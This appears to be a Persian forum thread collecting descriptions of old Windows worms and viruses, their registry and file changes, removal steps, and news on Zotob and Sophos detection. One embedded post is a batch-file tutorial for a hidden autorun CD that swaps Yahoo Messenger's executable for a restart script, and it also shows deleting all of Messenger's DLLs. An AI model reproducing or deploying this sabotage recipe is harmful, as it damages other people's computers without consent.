مرجع کامل معرفی ویروس ها

W32/Rbot-UU

نام :: W32/Rbot-UU
نام مستعار :: Backdoor.Win32.Rbot.gen و W32/Sdbot.worm.gen.j
طریقه پخش :: اشتراکات شبکه
سیستم عامل هدف :: ویندوز
شدت پخش ::

وظایف ::
1 - دسترسی دیگران به منابع سیستم
2 - دانلود کد های خود از اینترنت
3 - کم کردن قدرت امنیت سیستم
4 - نصب خود بر روی رجیستری
5 - استفاده از سیستم آسیب پذیری

تشریح ::
این کرم حاوی کد های تروجان مانندی است که از طریق کانال های IRC اجازه نفوذ به هکر می دهد . این سرویس در پشت پردازش ها اجرا می شود به دور از چشم کاربر . همچنین این کرم خود را در داخل شاخه سیستم ویندوز به نام فایل USBHARDWARE32C.EXE کپی می کند . و این شاخه ها را برای اجرا مجدد خود می سازد ::

HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\Run Services
HKCU\Software\Microsoft\Windows\CurrentVersion\Run

همچنین این مقدار ها را تغییر می دهد ::

"HKLM\SOFTWARE\Microsoft\Ole\EnableDCOM = "N
"HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restric t anonymous = "1

توسط: سید آرش حسینیان

ابتدا یک notepad ایجاد نموده , سپس اطلاعات لازم را در آن می نویسیم.

..cd

این دستورما را از مسیری که هستیم یک پله به عقب می رویم.مثلا c:\hamid\123را به c:\hamid تبدیل می کند.

\cd

این دستور ما را از مسیری که هستیم به ابتدای آدرس می برد. مثلا c:\hamid\123\ali را به \:c تبدیل می کند.

:c

این دستور در هنگام اجرای برنامه ما را به درایو C می برد. که به جای آن می توان نام های دیگر گذاشت.

cd name

با این دستور به folder مورد نظر می رویم.

del

با این دستور فایل های مورد نظر را می توان پاک کرد, که شامل زیر دستور های زیر می باشد.

del\q : این دستور فایل مورد نظر را بدون پرسیدن اینکه این فایل را پاک کنم یا خیر پاک می کند.

del\s : این دستور فایل مورد نظر را در تمام فولدرهای زیر شاخه پاک می کند.

مثلا

c:\hamid\del\q hamid.txt

copy

با این دستور می توانیم عمل کپی را انجام دهیم.مثلا c:\hamid\hamid.txt copy c:\ali یا

c:\hamid\*.* copy c:\ali

md

با این دستور می توانیم یک folder بسازیم.مثلا c:\hamid\md ali و بدین ترتیب در فولدر hamid فولدر ali را ساختیم.

ren

با این دستور می توانیم عمل rename را انجام دهیم. مثلا c:\hamid ren hamid.txt ali.txt . ما اسم حمید را به علی تغییر دادیم.

attrib

با این دستور ما می توان خصلت فایل را تغییر داد. یعنی می توان فایل را پنهان یا فقط خواندنی یا سیستمی تبدیل کرد, که به این صورت معرفی می شوند...

attrib +h : این دستور فایل را پنهان می کند. و با گذاشتن - به جای + فایل را از حالت پنهان خارج می کند.مثلا c:\ hamid\attrib +h hamid.txt

attrib +r : این دستور فایل را read-only می کند.

attrib +s : این دستور فایل را system می کند.

shutdown

با این دستور می توانید عمل restart و shutdown و log off را انجام دهید.

shutdown -r : با این دستور کامپیوتر restart می شود.

shutdown -t xx : با این دستور کامپیوتر بعد از زمان xx , ریست میشود

.

خوب , همانطور که متوجه هستین همه این فرامین , فرمان های dos هستند.برای آشنایی با جزئیات کامل دستورهای بالا ای دستور را در command prompt ویندوز بنویسید.(start/run/cmd )

مثلا c:\copy help

بعد از نوشتن دستور مورد نظر به قسمت file/save az رفته و با name.bat آن را save کنید.پسوند باید bat باشد حتما.

فایل مورد نظر را می توان طبق آموزش قبلی در autorun یک cd گذاشت.

حال به مثال زیر که ما در آن فایل hamid.bat را که حاوی دستورات زیر می باشد را مثلا در autorun سی دی می گذاریم.تا بعد از اجرای automaticجایگزین فایل ypager.exe که فایل اجرایی yahoo messenger هست شود تا هر وقت کاربر روی فایل ypager.exe کلیک کرد,کامپیوترش restart شود.ما در cd خودمان فایل hamid.bat وhz007.bat را با دستورات زیر ساخته و به صورت hidden رایت می کنیم. در فایل autorun که ساختیم در قسمت open نام hz007.bat را می نویسیم.

hamid.bat
c:

shutdown -r


hz007.bat
copy hamid.bat C:\Progra~1\Yahoo!\Messen~1\

ren hamid.bat ypager.exe

نکات مهم :

1. چون دستورات dos هستن نباید تعداد حروف بیشتر از 8 حرف باشند.ما 6 حرف از آن را می نویسیم و به جای بقیه آن می نویسیم (1~) .

2.اگر در نظر دارید از فایل های سیستمی در winxp پاک کنید. بدانید که فایل ها در winxp چند ثانیه پس از پاک شدن , دوباره بازسازی می شوند تنها راه گذاشتن دستور shutdown بعد از دستور del می باشد.

3.اگر در نظر دارید فایلی که hidden است را پاک یا کپی کنید آن را بایدحتما از حالت hidden خارج کنید.



مثالی دیگر :::

در این مثال ما به درایو C می رویم و به شاخه c:\program files\yahoo!\messenger می رویم و یک folder با نام hamidمی سازیم , سپس یک پله بر می گردیم و تمام فایل های hidden را از hidden بودن خارج می کنیم وسپس تمام فایل های با پسوند dll را پاک می کنیم.

c:

cd progra~1

cd yahoo!

cd messen~1

md hamid

cd..

attrib -h *.*

del\q *.dll

[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

اینو دیدم گفتم بزارم استفاده کنین

نحوه پاکسازی ویروس W32/Sober.r@MM

نام ویروس : W32/Sober.r@MM
نوع : ویروس
میزان حجم : 113,551
طریقه پخش : E-mail

تشریح :
این کرم خود را از طریق فایل های ضمیمه به نام های KlassenFoto.zip و pword_change.zip و screen_photo.zip و privat-photo.zip پخش می کند .
درون این فایل های Zip شده فایل های اجرایی به نام PW_Klass.Pic.packed-bitmap.exe و Screen_Photo.jpeg-graphic1.exe
این کرم در مرحله اول شاخه های زیر را در رجیستری تهیه می کند :

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\
Run " WinINet" =C:\WINDOWS\ConnectionStatus\services.exe
• HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\
Run "_WinINet"=C:\WINDOWS\ConnectionStatus\services.ex e

سپس فایل های زیر را می سازد :

• c:\WINDOWS\ConnectionStatus\netslot.nst
• c:\WINDOWS\ConnectionStatus\services.exe
• c:\WINDOWS\ConnectionStatus\socket.dli

سپس فایل های با حجم 0 درست می کند با نام و آدرس های زیر :

• c:\WINDOWS\system32\bbvmwxxf.hml
• c:\WINDOWS\system32\gdfjgthv.cvq
• c:\WINDOWS\system32\langeinf.lin
• c:\WINDOWS\system32\nonrunso.ber
• c:\WINDOWS\system32\rubezahl.rub
• c:\WINDOWS\system32\seppelmx.smx

سپس پورت های شماره TCP 587 و TCP 37 و صفحه خانگی قربانی را عوض می کند .
تیم irvirus حداکثر تا 12 ساعت دیگر پج آنتی ان را به زبان فارسی برای شما عزیزان قرار می دهد .
برای پاک سازی دستی هم می توانید از طریق Safe mode فایل های یاد شده را پاک و شاخه ایجاد شده را در رجیستری پاک کنید .


منبع : irvirus

آشنايي با MYDOOM.AO، كرم شكارچي

MYDOOM.AO تلاش مي كند از طريق موتورهاي جستجوگر اينترنتي آدرس هاي ايميل را جمع آوري كند و خود را براي همه آنها بفرستد. اين كرم اينترنتي نشان داد كه انتشار آدرس ايميل در اينترنت مي تواند براي كاربران مشكلات زيادي ايجاد كند.

عليرغم توصيه هاي مكرر، كاربران به راحتي آدرس ايميل خود در بسياري از سايت هاي اينترنتي ثبت مي كنند چرا كه در بعضي مواقع ثبت ايميل براي ورود به يك سايت و يا گرفتن اخبار اينترنتي ضروري است و اين امر باعث مي شود اين كرم با يك جستجوي ساده هزاران آدرس ايميل را جمع آوري كند.

به نظر مي رسد سريعترين راه حل براي در امان بودن از شر اينگونه كرم هاي اينترنتي و اسپم ها، ثبت آدرس ايميل بصورتي است كه يك سيستم اتوماتيك نتواند از آن استفاده كند اما افراد متوجه اشتباه بودن آن بشوند مثلا با اضافه كردن عبارت NOSPAM به آدرس ايميل مانند [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ] "" كسي كه ايميل شما را
مي گيرد متوجه مي شود كه كلمه NOSPAM به چه دليل وارد شده ، اما باز هم چون آدرس DOMAIN شناخته شده است نامه هاي اتوماتيك به Mail Server برگردانده مي شوند. بنابراين بهترين راه حل اضافه كردن حروف و يا نشانه هايي به آدرس ايميل است مثلا [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ] و براي اينكه شخص مورد نظر را متوجه كنيد مي توانيد عبارتي مثل "مي توانيد جواب خود را با برداشتن خطوط فاصله بفرستيد". را به ايميل خود اضافه كنيد. در اين صورت هيچ سيستم اتوماتيكي نمي تواند براي شما ايميل بفرستد.

اولين بار كه يك كرم اينترنتي ( Mydoom.N ) در جولاي 2004 از موتورهاي جستجوگر براي يافتن آدرس هاي ايميل استفاده كرد، مسئولان اين جستجوگرها به فكر يافتن اصلاحيه ايي براي موتورهاي جستجوگر افتادند. در نتيجه در حال حاضر اگر شما تنها علامت "@" را جستجو كنيد هيچ نتيجه اي بدست نمي آوريد. ( در حاليكه قبلا با اين جستجو هزاران مورد جواب مي گرفتيد)

فعاليت كرم اينترنتي Mydoom.AO به راحتي قابل پيش بيني است. اين كرم بدون اينكه كاربر متوجه شود نخست در فايلهاي داخلي كامپيوتر آلوده به دنبال آدرس هاي ايميل مي گردد ( كاري كه اغلب كرم هاي اينترنتي انجام مي دهند )‌. سپس يكي از domain هاي ايميل هايي را كه پيدا كرده انتخاب مي كند و آنرا در موتورهاي جستجوگر مانند Google ، Yahoo و ... جستجو مي كند. وقتي آدرس هاي مورد نظر را جمع آوري كرد نسخه هايي از خود را به آنها مي فرستد.

در حال حاضر تكنولوژي پيش گيرانه TruPreventTM محصول شركت آنتي ويروس پاندا قابليت شناسائي هر گونه عمليات مشكوك و غير مشكوك كامپيوتر را دارد. بنابراين قبل از اينكه عمليات مخربي صورت گيرد مي تواند آن را متوقف كند.

مطالب شوما كاملآ گويا هست و از اينكه همه مي توانند از اين مطالب يه طور كامل بهره مي گيرندخوشنود مي باشم و اميد وارم مطالب شوما همشه به روز باشد .

ویروس های کامپیوتری و مبارزه با آنها
·


ویروس ها رویتن های نرم افزاری بسیا هوشمند می باشند که در دیسک سخت یا دیسکتها مستقر می شوند.ویروس ها نام و لغب دارند ولی در یک فایل مستقل قرار نمی گیرند، لذا تحت کنترل و نظارت سیستم عامل در نمی آیندمترصد فرصت می شوند تا بدون اجازه سیستم عاملو به طور خود سر فعال شده و خرابکاری کنند. ویروس ها از دید ظاهری کاربران نیز پنهان می مانند.
ویروس ها بدون اجازه و کنترل سیستم عامل، در فرصت های متقضییک کپی از محتوای خود را به حافظه اصلی رسانده و به اجرا در می آورد. اکثر ویروس ها قادرند با چسباندن کپی خود به فایل های دیگرتکثیر شوند. بیشتر ویروس ها به فایل های اجرایی متصل می شوند تا هم بتوانند این فایل ها را آلوده کنند و هم محتوای حافظه اصلی تغییر دهند تا نرم افزارهای در حال اجرا، اطلاعات نادرستی به دیسک سخت ها یا دیسکت ها یا CDهامنتقل کنند.
علاوه بر ویروس های معمولی دو دسته ویروس خطرناکتر وجود دارند که مطابق زیر، عمل می نمایند:
· دسته اول، BOOT SECTOR ناحیه C: یا دیسکت ها را مورد حمله قرار می دهد و عمل راه اندازی سیستم را مختل می کنند.
· دسته دوم،PARTITION Table دیسک سخت را مورد تهاجم قرار می دهند و سیستم عامل را برای شناسایی ناحیه ها دچار اشکال می کنند.
حال با معرفی چند ویروس به این بحث خاتمه می دهیم:


ویروس MISS WORD


کرم کامپیوتری MISS WORD از طریق ایمیل به دست کاربران می رسد که مشخصات آن عبارتند از:

Subject Miss Word Body: Hi (Your Name)
Enjoy The Latest Pictures of Miss Word From Various Country Attached Mwrld.EXE

اگر کاربر روی ضمیمه کلیک کند، گربه ای کیک به دست با متن زیر ظاهر می شود:

“I fall more in love with you cach day”

و سپس این ویروس خود را تکثیر می کند و به آدرس کلیه اشخاصی که در Address Book هستند، فرستاده می شود.
اگر این ویروس فعال شود، محتواتی دریو C: را از بین می برد.
برای مقابله با این ویروس، کاربر باید نکان زیر را رعایت کند:
1) ضمیمه ایمنی OUT LOOK را DOWN LOAD کند.
2) Scripting host ویندوز را خاموش کند.
3) از باز کردن ضمایم نامه ها خودداری کند.
4) سیستم خود را SCANکند.
سیستم Anti Virous خود را به روز کند.


ویروس V32/ choke


این کرم که با نام های V32/ chocke.Worm و Worm.chocke و Win32.chocke معرفی گردیده و از طریق برنامه MSM Messenger منتقل می شود.اگر فایلی با این نام ها یا Shoot presidentbush.exe به کاربر برسد، به هیچ وجه نباید آن را باز کند، زیرا با باز کردن فایل، پیغام زیر، ظاهر می شود:
“Chocke Copyright 1886 … AMAD CRISTIAN
GO talk swear words about God
You all will die stupid humans.
You fools didn’t see what you have done by slut go talk shit about me.
(Call me a psychophant but I respect the creator of life…) consider your earth

کرم به محض فعال شدن، مانع اجرای بعضی برنامه ها در درایوC: می گردد.


ویروس BILLGATES


این ویروس که نام مشخصی ندارد به آدرس کاربران فرستاده می شود و اگر کاربری این نامه را باز کند، یک کپی از نامه به آدرس بیل گیتس در [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ] فرستاده می شود.



ویروس Hiderun.exe


کرم bat.boohoo.worm شامل مجموعه ای از فایل هاست که خود را از طریق مسیرهای به اشتراک گذاشته شده در شبکه منتقل می کند. یکی از فایل های این مجموعه Hiderun.exe نام دارد که برای مخفی کردن اجرای برنامه های مخرب این مجموعه مورد استفاده قرار می گیرد. این کرم فایل های مختلف خود را در شاخه system23 در شاخه ویندوز کپی می کند و یک شناسه کاربری جدید با نام admin1 ایجاد می کند. همچنین با جستجو در شبکه و امتحان کردن رمزهای عبور ساده مانند 12345 سعی در دسترسی به کامپیوترهای دیگر و آلوده کردن آنها می کند. برای حذف این کرم پس از غیر فعال کردن system restore ابتدا پردازه ها و سرویس هایی که توسط آن راه اندازی شده اند متوقف کنید، سپس تغییرات انجام شده در رجیستری را به حالت اول بر گردانید و پس از به روز کردن ویروس یاب خودکامپیوتر را ویروس یابی کنید.برای به دست آوردن اطلاعات لازم در مورد نام پردازه ها و تغییرات ریجستری به آدرس زیر مراجعه کنید.

[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]


ویروس PATE


این ویروس که McAfee آن را با نام W32/PATE و Symantec ( همان Norton ) آن را با نام W32.Pini می شناسد خود را به فایل Explorer.exe می چسباند تا در حافظه باقی بماند. همچنین خود را با نلمهای متغیر و تصادفی و با پسوند exe یا scr کپی میکند. حجم این ویروس تقریبا 177 کیلوبایت است و قسمت هایی از ریجستری را تغییر داده و مقادیری به آن می افزاید. برای پاک کردن آن System Restore ( در ویندوز XP ) را غیر فعال می کنیم. ویروس یاب خود را به روز می کنیم. کامپیوتر را Restart کرده و ویندوز را در حالت Safe Mode اجرا کنید. ( برای اجرای ویندوز در حالت Safe Mode در هنگام بالا آمدن ویندوز کلیدF8 را فشار دهید و از بین انتخاب هایی که خواهید داشت Safe Mode را انتخاب کنید ) سیستم را به طور کامل ویروس یابی کنید تا ویروس ها را شناسایی و پاک کند. برنامه Run را اجرا کرده و به مسیر زیر بروید:

HKEY-CURRENT-USERSOFTWAREMicrosoftWindowsCurrentVersionExplorer

و در قسمت سمت راست پنجره مقدار pint را پیدا کرده و پاک کنید. برای بدست آوردن اطلاعات بیشتر درباره این ویروس می توانید به سلیت زیر مراجعه کنید:


[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
__________________

ممنون كولوبيو جان محبت كردي

كرم Zotob از Plug and Play در ويندوز 2000 سواستفاده می‌كند

كرم‌های جديدی در حمله به يك نقص بسيار جدی در سرويس Plug & Play ويندوز 2000 مايكروسافت دخيل بوده‌اند. هفته گذشته دو گونه از يك كرم جديد به نام Zotob، شروع به انتشار كرد، هر چند كه هيچكدام از اين دو گونه به اعتقاد محققين گسترش زيادی پيدا نكردند.

اين كرم‌ها برای انتشار از پورت 445 TCP/IP استفاده كرده‌اند كه در ارتباط با اشتراك فايل ويندوز است و از نقص سيستم Plug and Play نيز برای به دست گرفتن سيستم عامل بهره گرفته است. سپس به كامپيوترهای آلوده دستور داده می‌شود كه تا صدور دستورهای ديگر از يك كانال IRC منتظر بمانند، به آن معنا كه ممكن است از اين كامپيوترها برای حمله به ساير كامپيوترها استفاده شود.

به گفته Johannes Ullrich، مدير ارشد تحقيقات در موسسه The SANS Institute كه از شركت‌های فعال در امر آموزش‌های امنيتی است و در شهر Bethedda ايالت مريلند واقع است، خانواده Zotob همچنين می‌تواند سرويس Windows Update را غيرفعال كرده و دسترسی به برخی سايت‌های شبكه مثل eBay.com و amazon.com را متوقف كند.

او می‌گويد، از آنجا كه Zotob عموما تنها قادر است روی سيستم‌های ويندوز 2000 پچ نشده، اثر بگذارد، زيرا اين سيستم‌ها معمولا دارای يك پورت باز 445 هستند، بعيد به نظر می‌رسد كه سريع منتشر شوند.

سه شنبه گذشته مايكروسافت يك پچ برای نقص موجود در Plug and Play عرضه كرد.

روز دوشنبه، شركت Trend Microsoft وجود دو نوع از Zotob به نام‌های .Zotob.a و.Zotob را گزارش كرد. اين شركت سازنده ضدويروس به Zotob "حمله ناكام" لقب داده و در بيانيه منتشره در روز دوشنبه در مورد گونه‌های ديگری از اين كرم به كاربران هشدار داده است.

كاربران ويندوزهای 95 و 98 و Me در معرض ابتلا به Zotob نيستند. در ويندوزهای XP و Windows Server 2003 ممكن است در بعضی شرايط خاص در معرض ابتلا باشند. البته در صورتی كه registry اين سيستم‌ها چنان دستكاری شود كه به كامپيوتر اجازه دهد، بدون يك login، منابع سيستم را ليست كند، كه اقدام مذكور و در اصطلاح " فعال سازی جلسات Null" خوانده می‌شود. (enabling Null Session).

آقای Ullrich می‌گويد، در ويندوز XP‌ و Windows Server 2003 جلسات Null بصورت پيش‌فرض فعال نمی‌شوند و SANS در آدرس [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ] برای كنترل وجود چنين فعال‌سازی‌هايی دستورات چندی را عرضه كرده است. هفته گذشته و تنها چند روز پس از آنكه مايكروسافت وجود اين نقص را اعلام كرد، نمونه‌هايی از كدی را كه می‌شود يك حمله Plug and Play به كار رود به تدريج ظاهر شدند، پس ظهور كرم Zotob ديگر چندان تعجب‌انگيز نبود. كدی كه اخيرا در نقص موجود در مرورگر Internet Explorer ممكن است مورد سو استفاده قرار گيرد، به عموم معرفی شده است، اما شركت SANS هنوز هيچ موردی از سو استفاده از كد مذكور را برای حمله به سيستم‌های مختلف گزارش نكرده است.

مبارزه ژنتيكي با ويروس‌ها

شركت Sophos اعلام كرد كه شيوه جديدي را براي مقابله با ويروس‌ها ابداع كرده است. در اين شيوه جديد، مقابله با ويروس‌ها قبل از ظهور آن‌ها صورت مي‌گيرد.


شركت Sophos، يكي از معتبرترين شركت‌هاي توليدكننده نرم‌افزارهاي امنيتي و ضدويروس اعلام كرد كه شيوه جديدي را براي مقابله با ويروس‌ها ابداع كرده است. در اين شيوه جديد، مقابله با ويروس‌ها قبل از ظهور آن‌ها صورت مي‌گيرد.
فناوري جديد از روش‌هايي كه براي شناسايي ژن‌ها در علم پزشكي استفاده مي‌كند، سود مي برد. همان گونه كه در علم پزشكي با شناخت الگوها، موفق به شناسايي ژن‌ها مي‌گردند، در اين شيوه نيز الگوها و مشخصه‌هاي منحصربه‌فردي از تهديدات، ويروس‌ها و اسپم‌ها ثبت مي‌گردد و در يك بانك اطلاعاتي ضبط مي‌گردد. . سپس از آن علائم و مشخصه‌ها در شناسايي خانواده‌هاي ويروس‌ها يا ويروس‌هاي جديد بهره‌ گرفته مي‌شود.
بنا بر اعلام شركت، اين‌ كار در واقع مانند آن است كه شما DNAهاي ويروس‌ها را نگهداري كرده و مورد بررسي قرار دهيد. در واقع نقطه ضعف اصلي ويروس‌ها در آن است كه اغلب آنها از كدهاي مشابهي استفاده مي‌كنند و همين امر مي‌تواند به شناسايي سريع آن‌ها (خصوصا ويروس‌هاي تغيير شكل يافته) كمك كند.
شركت Sophos از فناوري جديد خود در آخرين نسخه از محصولات امنيتي خود با عنوان Sophos Anti-Virus 5.0 و PureMessage استفاده نموده است. ارائه اين محصولات و ارتقاي نسخه‌‌هاي قديمي به فناوري جديد، از انتهاي ماه فوريه 2005 انجام خواهد گرفت.